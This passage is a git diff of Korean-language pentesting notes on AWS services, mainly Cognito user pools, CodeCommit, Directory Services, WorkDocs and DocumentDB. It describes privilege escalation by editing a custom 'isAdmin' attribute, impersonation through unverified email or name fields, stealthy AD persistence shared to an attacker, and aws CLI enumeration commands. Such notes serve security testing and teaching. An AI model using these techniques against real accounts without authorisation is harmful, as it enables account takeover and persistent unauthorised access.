-사용자에 대한 **자세한 정보를 제공해야 한다**는 오류 메시지를 발견할 수 있습니다: +사용자에 대한 **자세한 정보를 제공해야 한다**는 오류가 표시될 수 있습니다: ``` An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: address: The attribute is required ``` -당신은 다음과 같은 JSON으로 필요한 세부정보를 제공할 수 있습니다: +필요한 세부정보는 다음과 같은 JSON으로 제공할 수 있습니다: ```json --user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]' ``` @@ -70,14 +70,14 @@ An error occurred (InvalidParameterException) when calling the SignUp operation: An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists ``` > [!NOTE] -> 이전 명령에서 **사용자 정의 속성이 "custom:"로 시작하는지** 주목하십시오.\ -> 또한 등록할 때 **사용자에게 새로운 사용자 정의 속성을 생성할 수 없다는 점**을 알아두십시오. **기본 속성**(필수 속성이 아니더라도)과 **지정된 사용자 정의 속성**에만 값을 제공할 수 있습니다. +> 이전 명령에서 **사용자 정의 속성이 "custom:"로 시작하는** 것을 주목하세요.\ +> 또한 등록할 때 **사용자에게 새로운 사용자 정의 속성을 생성할 수 없습니다**. **기본 속성**(필수 속성이 아니더라도)과 **지정된 사용자 정의 속성**에만 값을 제공할 수 있습니다. 또는 클라이언트 ID가 존재하는지 테스트하기 위해. 클라이언트 ID가 존재하지 않을 경우의 오류는 다음과 같습니다: ``` An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist. ``` -#### 관리자가 사용자 등록만 가능할 경우 +#### 관리자가 사용자 등록을 할 수 있는 경우 이 오류가 발생하며 사용자를 등록하거나 열거할 수 없습니다: ``` @@ -85,7 +85,7 @@ An error occurred (NotAuthorizedException) when calling the SignUp operation: Si ``` ### 등록 확인 -Cognito는 **이메일 또는 전화번호를 확인하여 새 사용자를 확인할 수** 있습니다. 따라서 사용자를 생성할 때 일반적으로 최소한 사용자 이름과 비밀번호와 **이메일 및/또는 전화번호**가 필요합니다. **당신이 제어하는** 하나를 설정하면 이렇게 **새로 생성된 사용자 계정**을 **확인하기 위한** 코드를 받을 수 있습니다: +Cognito는 **이메일 또는 전화번호를 확인하여 새 사용자를 확인할 수** 있습니다. 따라서 사용자를 생성할 때 일반적으로 최소한 사용자 이름과 비밀번호와 함께 **이메일 및/또는 전화번호**가 필요합니다. **당신이 제어하는** 하나를 설정하면 이렇게 **새로 생성된 사용자 계정**을 **확인하기 위한** 코드를 받을 수 있습니다: ```bash aws cognito-idp confirm-sign-up --client-id \ --username aasdasd2 --confirmation-code \ @@ -103,22 +103,22 @@ aws cognito-idp update-user-attributes \ --user-attributes Name=address,Value=street \ --access-token ``` -#### 사용자 정의 속성 권한 상승 +#### 커스텀 속성 권한 상승 > [!CAUTION] -> **사용자 정의 속성**(예: `isAdmin`)이 사용되고 있을 수 있습니다. 기본적으로 **자신의 속성 값을 변경할 수** 있으므로, 값을 직접 변경하여 **권한을 상승시킬** 수 있습니다! +> **커스텀 속성**(예: `isAdmin`)이 사용되고 있을 수 있으며, 기본적으로 **자신의 속성 값을 변경할 수** 있기 때문에 **권한을 상승시킬 수** 있습니다! #### 이메일/사용자 이름 수정 권한 상승 사용자의 **이메일 및 전화번호를 수정**하는 데 사용할 수 있지만, 계정이 여전히 확인된 상태라도 해당 속성은 **확인되지 않은 상태로 설정**됩니다(다시 확인해야 함). > [!WARNING] -> 이메일이나 전화번호로는 **로그인할 수 없**지만, **사용자 이름으로는 로그인할 수 있습니다**.\ -> 이메일이 수정되었고 확인되지 않았더라도 **`email`** **필드** 내의 ID 토큰에 나타나며, **`email_verified`** 필드는 **false**가 됩니다. 그러나 앱이 **확인하지 않는다면 다른 사용자를 가장할 수 있습니다**. +> 이메일 또는 전화번호로 **로그인할 수 없**지만, **사용자 이름으로 로그인할 수 있습니다**.\ +> 이메일이 수정되었고 확인되지 않았더라도 **`email`** **필드** 내의 ID 토큰에 나타나며, **`email_verified`** 필드는 **false**가 됩니다. 그러나 앱이 **그것을 확인하지 않는다면 다른 사용자를 가장할 수 있습니다**. -> 또한, **이름 속성**을 수정하여 **`name`** 필드에 무엇이든 넣을 수 있습니다. 어떤 이유로 앱이 **`email`**(또는 다른 속성) 대신 해당 필드를 **확인**하고 있다면, **다른 사용자를 가장할 수 있습니다**. +> 또한, **이름 속성**을 수정하여 **`name`** 필드에 무엇이든 넣을 수 있습니다. 어떤 이유로 앱이 **`email`**(또는 다른 속성) 대신 그 필드를 **확인**하고 있다면, **다른 사용자를 가장할 수 있습니다**. -어쨌든, 예를 들어 새로운 이메일로 변경한 경우, 해당 이메일 주소로 받은 코드로 **이메일을 확인할 수 있습니다**: +어쨌든, 어떤 이유로 이메일을 새 이메일로 변경한 경우, 해당 이메일 주소로 받은 코드로 **이메일을 확인할 수 있습니다**: ```bash aws cognito-idp verify-user-attribute \ --access-token \ @@ -128,18 +128,18 @@ aws cognito-idp verify-user-attribute \ **`전화번호`** 대신 **`이메일`**을 사용하여 **새 전화번호**를 변경/확인합니다. > [!NOTE] -> 관리자는 **사용자가 선호하는 사용자 이름으로 로그인**하는 옵션을 활성화할 수도 있습니다. 이 값을 **다른 사용자를 가장하는 데 이미 사용되고 있는 사용자 이름 또는 선호하는 사용자 이름**으로 변경할 수 없다는 점에 유의하십시오. +> 관리자는 **사용자가 선호하는 사용자 이름으로 로그인**하는 옵션을 활성화할 수도 있습니다. 이 값을 **다른 사용자를 가장하기 위해 이미 사용 중인 사용자 이름이나 선호하는 사용자 이름**으로 변경할 수 없음을 유의하십시오. ### 비밀번호 복구/변경 -비밀번호를 복구하는 것은 **사용자 이름**(또는 이메일 또는 전화번호가 허용됨)을 알고 있고, 그곳으로 코드가 전송되므로 접근할 수 있는 경우 가능합니다: +비밀번호를 복구하는 것은 **사용자 이름**(또는 이메일 또는 전화번호도 허용됨)을 알고 있고, 그곳으로 코드가 전송되므로 접근할 수 있는 경우 가능합니다: ```bash aws cognito-idp forgot-password \ --client-id \ --username --region ``` > [!NOTE] -> 서버의 응답은 항상 긍정적일 것이며, 마치 사용자 이름이 존재하는 것처럼 보입니다. 이 방법을 사용하여 사용자를 열거할 수 없습니다. +> 서버의 응답은 항상 긍정적일 것이며, 예를 들어 사용자 이름이 존재하는 경우와 같습니다. 이 방법을 사용하여 사용자를 열거할 수 없습니다. 코드를 사용하여 비밀번호를 변경할 수 있습니다: ```bash @@ -158,12 +158,12 @@ aws cognito-idp change-password \ ``` ## 인증 -사용자 풀은 **다양한 인증 방법**을 지원합니다. **사용자 이름과 비밀번호**가 있는 경우에도 **로그인할 수 있는 다양한 방법**이 지원됩니다.\ -또한, 사용자가 풀에서 인증되면 **3가지 유형의 토큰이 제공**됩니다: **ID 토큰**, **액세스 토큰**, **리프레시 토큰**. +사용자 풀은 **다양한 인증 방법**을 지원합니다. **사용자 이름과 비밀번호**가 있는 경우에도 **다양한 방법**으로 로그인할 수 있습니다.\ +또한, 사용자가 풀에서 인증되면 **3가지 유형의 토큰이 제공**됩니다: **ID 토큰**, **액세스 토큰**, **리프레시 토큰**입니다. -- [**ID 토큰**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): 인증된 사용자의 **신원에 대한 주장**을 포함하며, `name`, `email`, `phone_number`와 같은 정보를 포함합니다. ID 토큰은 **리소스 서버 또는 서버 애플리케이션에 사용자 인증**을 위해 사용할 수도 있습니다. 외부 애플리케이션에서 사용할 경우 ID 토큰 내부의 주장을 신뢰하기 전에 **ID 토큰의 서명**을 **검증**해야 합니다. +- [**ID 토큰**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): 인증된 사용자의 **신원에 대한 주장**을 포함하며, `name`, `email`, `phone_number`와 같은 정보를 포함합니다. ID 토큰은 **리소스 서버 또는 서버 애플리케이션에 사용자 인증**을 위해 사용할 수도 있습니다. 외부 애플리케이션에서 사용할 경우 ID 토큰 내부의 주장을 신뢰하기 전에 **서명**을 **검증**해야 합니다. - ID 토큰은 **사용자의 속성 값**을 포함하는 토큰으로, 사용자 정의 속성도 포함됩니다. -- [**액세스 토큰**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): 인증된 사용자에 대한 주장, **사용자의 그룹 목록**, **범위 목록**을 포함합니다. 액세스 토큰의 목적은 사용자 풀 내에서 **API 작업을 승인**하는 것입니다. 예를 들어, 액세스 토큰을 사용하여 **사용자에게 사용자 속성을 추가, 변경 또는 삭제할 수 있는 권한을 부여**할 수 있습니다. +- [**액세스 토큰**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): 인증된 사용자에 대한 주장, **사용자의 그룹 목록**, **범위 목록**을 포함합니다. 액세스 토큰의 목적은 사용자 풀 내에서 **API 작업을 승인**하는 것입니다. 예를 들어, 액세스 토큰을 사용하여 **사용자 속성을 추가, 변경 또는 삭제할 수 있는 권한을 부여**할 수 있습니다. - [**리프레시 토큰**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): 리프레시 토큰을 사용하면 **리프레시 토큰이 유효한 동안** 사용자에 대한 새로운 ID 토큰과 액세스 토큰을 **얻을 수 있습니다**. 기본적으로 리프레시 토큰은 **사용자가 사용자 풀에 로그인한 후 30일 후에 만료**됩니다. 사용자 풀에 대한 애플리케이션을 생성할 때 애플리케이션의 리프레시 토큰 만료를 **60분에서 10년 사이의 값으로 설정**할 수 있습니다. ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH @@ -243,7 +243,7 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_PASSWORD_AUTH -이 방법은 또 다른 간단하고 **전통적인 사용자 및 비밀번호 인증** 흐름입니다. **전통적인** 인증 방법을 **Cognito**로 **마이그레이션**하는 것이 권장되며, 이후에는 이를 **비활성화**하고 **ALLOW_USER_SRP_AUTH** 방법을 대신 **사용하는 것이 권장**됩니다 (이 방법은 비밀번호를 네트워크를 통해 전송하지 않기 때문입니다).\ +이 방법은 또 다른 간단하고 **전통적인 사용자 및 비밀번호 인증** 흐름입니다. **전통적인** 인증 방법을 **Cognito**로 **마이그레이션**하는 것이 권장되며, 이후에는 이를 **비활성화**하고 **ALLOW_USER_SRP_AUTH** 방법을 대신 **사용하는 것이 권장**됩니다(이 방법은 비밀번호를 네트워크로 전송하지 않기 때문입니다).\ 이 **방법은 기본적으로 활성화되어 있지 않습니다**. 코드 내에서 **이전 인증 방법**과의 주요 **차이점**은 **사용자 풀 ID를 알 필요가 없고**, Cognito 사용자 풀에서 **추가 권한이 필요하지 않다는 점**입니다. @@ -253,7 +253,7 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) - 클라이언트 ID - 사용자 이름 - 비밀번호 -- 클라이언트 비밀 (앱이 비밀을 사용하도록 구성된 경우에만) +- 클라이언트 비밀(앱이 비밀을 사용하도록 구성된 경우에만) > [!NOTE] > 이 방법으로 **로그인할 수 있으려면** 해당 애플리케이션이 ALLOW_USER_PASSWORD_AUTH로 로그인할 수 있도록 허용해야 합니다. @@ -310,10 +310,10 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_SRP_AUTH -이 시나리오는 이전과 유사하지만 **비밀번호를** 네트워크를 통해 전송하는 대신 **챌린지 인증이 수행됩니다** (따라서 비밀번호가 암호화되어도 네트워크를 통해 전송되지 않습니다).\ +이 시나리오는 이전과 유사하지만 **비밀번호를 전송하는 대신** **챌린지 인증이 수행됩니다** (따라서 비밀번호가 암호화되어도 네트워크를 통해 전송되지 않습니다).\ 이 **방법은 기본적으로 활성화되어 있습니다**. -로그인하려면 **다음 정보를 알아야 합니다**: +**로그인**하려면 **다음 정보를 알아야 합니다**: - 사용자 풀 ID - 클라이언트 ID @@ -395,7 +395,7 @@ print(refresh(client_id, token)) ### 고급 보안 -기본적으로 비활성화되어 있지만, 활성화되면 Cognito는 **계정 탈취**를 **찾을 수** 있습니다. 가능성을 최소화하려면 **같은 도시 내의 네트워크에서, 같은 사용자 에이전트를 사용하여** 로그인해야 합니다 (가능하다면 IP도). +기본적으로 비활성화되어 있지만, 활성화되면 Cognito는 **계정 탈취를 발견할 수 있습니다**. 가능성을 최소화하려면 **같은 도시 내의 네트워크에서, 같은 사용자 에이전트를 사용하여** 로그인해야 합니다 (가능하다면 IP도). ### **MFA 기억 장치** @@ -403,22 +403,22 @@ print(refresh(client_id, token)) ## 사용자 풀 그룹 IAM 역할 -**사용자 풀** 그룹에 **사용자**를 추가하는 것이 가능하며, 이는 하나의 **IAM 역할**과 관련이 있습니다.\ -또한, **사용자**는 **다른 IAM 역할**이 연결된 **1개 이상의 그룹에 할당**될 수 있습니다. +**사용자 풀** 그룹에 **사용자**를 추가할 수 있으며, 이는 하나의 **IAM 역할**과 관련이 있습니다.\ +또한, **사용자**는 **다른 IAM 역할**이 연결된 **1개 이상의 그룹**에 할당될 수 있습니다. -IAM 역할이 연결된 그룹 내에 그룹이 있더라도, 해당 그룹의 IAM 자격 증명에 접근하려면 **사용자 풀이 신뢰할 수 있는 Identity Pool**이 필요합니다 (그리고 해당 Identity Pool의 세부 정보를 알아야 합니다). +그룹이 IAM 역할이 연결된 그룹 내에 있더라도, 해당 그룹의 IAM 자격 증명에 접근하려면 **사용자 풀이 신뢰할 수 있는 Identity Pool**이어야 하며 (그 Identity Pool의 세부 정보를 알아야 함), -사용자가 사용자 풀에서 인증될 때 **IdToken에 표시된 IAM 역할**을 얻기 위한 또 다른 요구 사항은 **Identity Provider 인증 제공자**가 **역할이 토큰에서 선택되어야 한다고 표시해야** 합니다. +사용자가 사용자 풀에서 인증될 때 **IdToken에 표시된 IAM 역할**을 얻기 위한 또 다른 요구 사항은 **Identity Provider Authentication provider**가 **역할이 토큰에서 선택되어야 한다고 표시해야 합니다.**
-사용자가 접근할 수 있는 **역할**은 **`IdToken`** 내에 있으며, 사용자는 **`aws cognito-identity get-credentials-for-identity`**의 **`--custom-role-arn`**을 사용하여 자격 증명을 원하는 역할을 **선택할 수** 있습니다.\ -그러나 **기본 옵션**이 **구성된** 것(`use default role`)이고, IdToken에서 역할에 접근하려고 하면 **오류**가 발생합니다 (이전 구성이 필요한 이유입니다): +사용자가 접근할 수 있는 **역할**은 **`IdToken`** 내에 있으며, 사용자는 **`aws cognito-identity get-credentials-for-identity`**의 **`--custom-role-arn`**을 사용하여 **자격 증명을 원하는 역할을 선택할 수 있습니다**.\ +그러나 **기본 옵션**이 **구성된 것**(`use default role`)이고, IdToken에서 역할에 접근하려고 하면 **오류**가 발생합니다 (이전 구성이 필요한 이유입니다): ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` > [!WARNING] -> **사용자 풀 그룹**에 할당된 역할은 **사용자 풀을 신뢰하는 ID 공급자**에 의해 **접근 가능해야** 합니다 (IAM 역할 **세션 자격 증명이 여기서 얻어질 것이기 때문입니다**). +> **사용자 풀 그룹**에 할당된 역할은 **사용자 풀을 신뢰하는 ID 공급자**에 의해 **접근 가능해야** 합니다(왜냐하면 IAM 역할의 **세션 자격 증명이 여기서 얻어질 것이기 때문입니다**). ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index 5fe0838b0..2d10b1515 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -4,17 +4,17 @@ ## DataPipeline -AWS Data Pipeline은 **데이터의 접근, 변환 및 효율적인 전송**을 대규모로 용이하게 하기 위해 설계되었습니다. 다음과 같은 작업을 수행할 수 있습니다: +AWS Data Pipeline은 **대규모 데이터의 접근, 변환 및 효율적인 전송**을 용이하게 하기 위해 설계되었습니다. 다음과 같은 작업을 수행할 수 있습니다: -1. **데이터가 저장된 위치에 접근**: 다양한 AWS 서비스에 저장된 데이터에 원활하게 접근할 수 있습니다. -2. **대규모로 변환 및 처리**: 대규모 데이터 처리 및 변환 작업이 효율적으로 처리됩니다. +1. **데이터가 저장된 위치에서 접근**: 다양한 AWS 서비스에 저장된 데이터에 원활하게 접근할 수 있습니다. +2. **대규모에서 변환 및 처리**: 대규모 데이터 처리 및 변환 작업이 효율적으로 처리됩니다. 3. **결과를 효율적으로 전송**: 처리된 데이터는 다음을 포함한 여러 AWS 서비스로 효율적으로 전송될 수 있습니다: - Amazon S3 - Amazon RDS - Amazon DynamoDB - Amazon EMR -본질적으로, AWS Data Pipeline은 지정된 간격으로 서로 다른 AWS 컴퓨팅 및 저장 서비스와 온프레미스 데이터 소스 간의 데이터 이동 및 처리를 간소화합니다. +본질적으로, AWS Data Pipeline은 지정된 간격으로 다양한 AWS 컴퓨팅 및 저장 서비스와 온프레미스 데이터 소스 간의 데이터 이동 및 처리를 간소화합니다. ### Enumeration ```bash @@ -33,7 +33,7 @@ aws datapipeline get-pipeline-definition --pipeline-id ## CodePipeline -AWS CodePipeline은 **지속적인 배포 서비스**로, **신속하고 신뢰할 수 있는 애플리케이션 및 인프라 업데이트**를 위해 **릴리스 파이프라인을 자동화**하는 데 도움을 줍니다. CodePipeline은 코드 변경이 있을 때마다 정의한 릴리스 모델에 따라 릴리스 프로세스의 **빌드, 테스트 및 배포 단계**를 자동화합니다. +AWS CodePipeline은 **지속적인 배포 서비스**로, **릴리스 파이프라인을 자동화**하여 빠르고 신뢰할 수 있는 애플리케이션 및 인프라 업데이트를 지원합니다. CodePipeline은 코드 변경이 있을 때마다 정의한 릴리스 모델에 따라 **빌드, 테스트 및 배포 단계**를 자동화합니다. ### Enumeration ```bash @@ -54,9 +54,9 @@ aws codepipeline get-pipeline-state --name ## CodeCommit -이는 아마존이 호스팅하고 완전히 관리하는 **버전 관리 서비스**로, 데이터를 개인적으로 저장하고(문서, 이진 파일, 소스 코드) 클라우드에서 관리하는 데 사용할 수 있습니다. +이는 Amazon이 호스팅하고 완전히 관리하는 **버전 관리 서비스**로, 데이터를 개인적으로 저장(문서, 이진 파일, 소스 코드)하고 클라우드에서 관리하는 데 사용할 수 있습니다. -사용자가 Git을 알고 **자신의 소스 제어 시스템을 관리**하거나 인프라를 확장하거나 축소하는 것에 대해 걱정할 필요가 없습니다. Codecommit은 Git에서 찾을 수 있는 모든 표준 **기능을 지원**하므로 사용자의 현재 Git 기반 도구와 원활하게 작동합니다. +사용자가 Git을 알고 **자신의 소스 제어 시스템을 관리**하거나 인프라를 확장하거나 축소하는 것에 대해 걱정할 필요가 **없습니다**. Codecommit은 Git에서 찾을 수 있는 모든 표준 **기능을 지원**하므로 사용자의 현재 Git 기반 도구와 원활하게 작동합니다. ### Enumeration ```bash @@ -90,7 +90,7 @@ ssh-keygen -f .ssh/id_rsa -l -E md5 # Clone repo git clone ssh://@git-codecommit..amazonaws.com/v1/repos/ ``` -## References +## 참고 문헌 - [https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 979cbda2a..7c211c7c7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -4,23 +4,23 @@ ## Directory Services -AWS Directory Service for Microsoft Active Directory는 AWS Cloud에서 **디렉토리를 설정하고 운영하며 확장하는** 것을 쉽게 해주는 관리형 서비스입니다. 실제 **Microsoft Active Directory**를 기반으로 하며, 다른 AWS 서비스와 긴밀하게 통합되어 디렉토리 인식 워크로드 및 AWS 리소스를 쉽게 관리할 수 있습니다. AWS Managed Microsoft AD를 사용하면 **기존의** Active Directory 사용자, 그룹 및 정책을 사용하여 AWS 리소스에 대한 액세스를 관리할 수 있습니다. 이는 아이덴티티 관리를 단순화하고 추가 아이덴티티 솔루션의 필요성을 줄이는 데 도움이 될 수 있습니다. AWS Managed Microsoft AD는 자동 백업 및 재해 복구 기능도 제공하여 디렉토리의 가용성과 내구성을 보장합니다. 전반적으로 AWS Directory Service for Microsoft Active Directory는 AWS Cloud에서 관리되고 고가용성 및 확장 가능한 Active Directory 서비스를 제공하여 시간과 리소스를 절약하는 데 도움을 줄 수 있습니다. +AWS Directory Service for Microsoft Active Directory는 AWS Cloud에서 **디렉토리를 설정, 운영 및 확장**하는 것을 쉽게 해주는 관리형 서비스입니다. 실제 **Microsoft Active Directory**를 기반으로 하며, 다른 AWS 서비스와 긴밀하게 통합되어 디렉토리 인식 워크로드 및 AWS 리소스를 쉽게 관리할 수 있습니다. AWS Managed Microsoft AD를 사용하면 **기존의** Active Directory 사용자, 그룹 및 정책을 사용하여 AWS 리소스에 대한 액세스를 관리할 수 있습니다. 이는 아이덴티티 관리를 단순화하고 추가 아이덴티티 솔루션의 필요성을 줄이는 데 도움이 될 수 있습니다. AWS Managed Microsoft AD는 자동 백업 및 재해 복구 기능도 제공하여 디렉토리의 가용성과 내구성을 보장합니다. 전반적으로 AWS Directory Service for Microsoft Active Directory는 AWS Cloud에서 관리되고 고가용성 및 확장 가능한 Active Directory 서비스를 제공하여 시간과 리소스를 절약하는 데 도움을 줄 수 있습니다. ### Options Directory Services는 5가지 유형의 디렉토리를 생성할 수 있습니다: -- **AWS Managed Microsoft AD**: AWS에서 새로운 **Microsoft AD를 실행**합니다. 관리 비밀번호를 설정하고 VPC에서 DC에 액세스할 수 있습니다. +- **AWS Managed Microsoft AD**: AWS에서 새로운 **Microsoft AD**를 실행합니다. 관리 비밀번호를 설정하고 VPC에서 DC에 액세스할 수 있습니다. - **Simple AD**: **Linux-Samba** Active Directory 호환 서버입니다. 관리 비밀번호를 설정하고 VPC에서 DC에 액세스할 수 있습니다. -- **AD Connector**: **기존 Microsoft Active Directory로의 디렉토리 요청을 리디렉션하는 프록시**로, 클라우드에 정보를 캐시하지 않습니다. **VPC**에서 수신 대기하며, **기존 AD에 액세스할 자격 증명**을 제공해야 합니다. +- **AD Connector**: **기존 Microsoft Active Directory**로 디렉토리 요청을 리디렉션하는 프록시로, 클라우드에 정보를 캐시하지 않습니다. **VPC**에서 수신 대기하며, **기존 AD에 액세스할 자격 증명**을 제공해야 합니다. - **Amazon Cognito User Pools**: Cognito User Pools와 동일합니다. -- **Cloud Directory**: **가장 간단한** 것입니다. **서버리스** 디렉토리로, 사용할 **스키마**를 지정하고 **사용량에 따라 청구**됩니다. +- **Cloud Directory**: 가장 **간단한** 것입니다. 사용할 **스키마**를 지정하고 **사용량에 따라 청구**되는 **서버리스** 디렉토리입니다. -AWS Directory Services는 **기존의** **온프레미스** Microsoft AD와 **동기화**하거나, AWS에서 **자신의 것을 실행**하거나, **다른 디렉토리 유형**과 동기화할 수 있습니다. +AWS Directory Services는 **기존의** **온프레미스** Microsoft AD와 **동기화**하거나, AWS에서 **자신의 디렉토리**를 실행하거나, **다른 디렉토리 유형**과 동기화할 수 있습니다. ### Lab -여기에서 AWS에서 자신의 Microsoft AD를 생성하는 멋진 튜토리얼을 찾을 수 있습니다: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) +여기에서 AWS에서 자신의 Microsoft AD를 생성하는 좋은 튜토리얼을 찾을 수 있습니다: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) ### Enumeration ```bash @@ -37,7 +37,7 @@ aws ds describe-certificate --directory-id --certificate-id ``` ### 로그인 -디렉토리의 **description** 필드에 **`AccessUrl`**에 **domain**이 포함되어 있다면, 이는 **사용자**가 일부 **AWS 서비스**에서 **AD 자격 증명**으로 **로그인**할 수 있음을 의미합니다: +디렉토리의 **description** 필드에 **`AccessUrl`**에 **domain**이 포함되어 있다면, 이는 **사용자**가 일부 **AWS 서비스**에 **AD 자격 증명**으로 **로그인**할 수 있음을 의미합니다: - `.awsapps.com/connect` (Amazon Connect) - `.awsapps.com/workdocs` (Amazon WorkDocs) @@ -55,27 +55,27 @@ aws ds describe-certificate --directory-id --certificate-id ### AD 사용자 사용 -**AD 사용자**는 역할을 통해 **AWS 관리 콘솔에 대한 접근 권한**을 부여받을 수 있습니다. **기본 사용자 이름은 Admin**이며, AWS 콘솔에서 **비밀번호를 변경**할 수 있습니다. +**AD 사용자**는 역할을 통해 **AWS 관리 콘솔에 대한 액세스**를 부여받을 수 있습니다. **기본 사용자 이름은 Admin**이며, AWS 콘솔에서 **비밀번호를 변경**할 수 있습니다. -따라서 **Admin의 비밀번호를 변경**하거나, **새 사용자를 생성**하거나, **사용자의 비밀번호를 변경**하고 해당 사용자에게 역할을 부여하여 접근을 유지할 수 있습니다.\ -또한 **AD 내 그룹에 사용자를 추가**하고 **해당 AD 그룹에 역할에 대한 접근 권한을 부여**하여 이 지속성을 더 은밀하게 만들 수 있습니다. +따라서 **Admin의 비밀번호를 변경**하거나, **새 사용자를 생성**하거나, **사용자의 비밀번호를 변경**하고 해당 사용자에게 역할을 부여하여 액세스를 유지할 수 있습니다.\ +또한 **AD 내의 그룹에 사용자를 추가**하고 **해당 AD 그룹에 역할에 대한 액세스 권한을 부여**하여 이 지속성을 더 은밀하게 만들 수 있습니다. ### AD 공유 (피해자에서 공격자에게) -피해자에서 공격자에게 AD 환경을 공유하는 것이 가능합니다. 이렇게 하면 공격자는 AD 환경에 계속 접근할 수 있습니다.\ +피해자에서 공격자에게 AD 환경을 공유할 수 있습니다. 이렇게 하면 공격자가 AD 환경에 계속 액세스할 수 있습니다.\ 그러나 이는 관리되는 AD를 공유하고 VPC 피어링 연결을 생성하는 것을 포함합니다. 여기에서 가이드를 찾을 수 있습니다: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) ### ~~AD 공유 (공격자에서 피해자에게)~~ -다른 AD 환경의 사용자에게 AWS 접근 권한을 부여하는 것은 불가능해 보입니다. +다른 AD 환경의 사용자에게 AWS 계정에 대한 액세스를 부여하는 것은 불가능해 보입니다. ## WorkDocs Amazon Web Services (AWS) WorkDocs는 클라우드 기반의 **파일 저장 및 공유 서비스**입니다. 이는 AWS 클라우드 컴퓨팅 서비스의 일부로, 조직이 파일과 문서를 저장, 공유 및 협업할 수 있는 안전하고 확장 가능한 솔루션을 제공하도록 설계되었습니다. -AWS WorkDocs는 사용자가 파일과 문서를 업로드, 접근 및 관리할 수 있는 웹 기반 인터페이스를 제공합니다. 또한 버전 관리, 실시간 협업, 기타 AWS 서비스 및 타사 도구와의 통합과 같은 기능을 제공합니다. +AWS WorkDocs는 사용자가 파일과 문서를 업로드, 액세스 및 관리할 수 있는 웹 기반 인터페이스를 제공합니다. 또한 버전 관리, 실시간 협업 및 다른 AWS 서비스 및 타사 도구와의 통합과 같은 기능을 제공합니다. ### 열거 ```bash @@ -106,7 +106,7 @@ aws workdocs describe-resource-permissions --resource-id aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` -### Privesc +### 권한 상승 {{#ref}} ../aws-privilege-escalation/aws-workdocs-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md index adf6132c4..9dd99dec4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md @@ -4,7 +4,7 @@ ## DocumentDB -Amazon DocumentDB는 MongoDB와의 호환성을 제공하며, **빠르고 신뢰할 수 있으며 완전 관리형 데이터베이스 서비스**로 소개됩니다. 배포, 운영 및 확장성을 단순화하도록 설계되어, **클라우드에서 MongoDB 호환 데이터베이스의 원활한 마이그레이션 및 운영**을 가능하게 합니다. 사용자는 이 서비스를 활용하여 기존 애플리케이션 코드를 실행하고 친숙한 드라이버와 도구를 사용할 수 있어, MongoDB와 작업하는 것과 유사한 원활한 전환 및 운영을 보장합니다. +Amazon DocumentDB는 MongoDB와의 호환성을 제공하며, **빠르고 신뢰할 수 있으며 완전 관리형 데이터베이스 서비스**로 소개됩니다. 배포, 운영 및 확장성의 단순성을 위해 설계되어, **클라우드에서 MongoDB 호환 데이터베이스의 원활한 마이그레이션 및 운영**을 가능하게 합니다. 사용자는 이 서비스를 활용하여 기존 애플리케이션 코드를 실행하고 친숙한 드라이버와 도구를 사용할 수 있어, MongoDB와 작업하는 것과 유사한 원활한 전환 및 운영을 보장합니다. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index 6f627c8d3..c558c5403 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -6,7 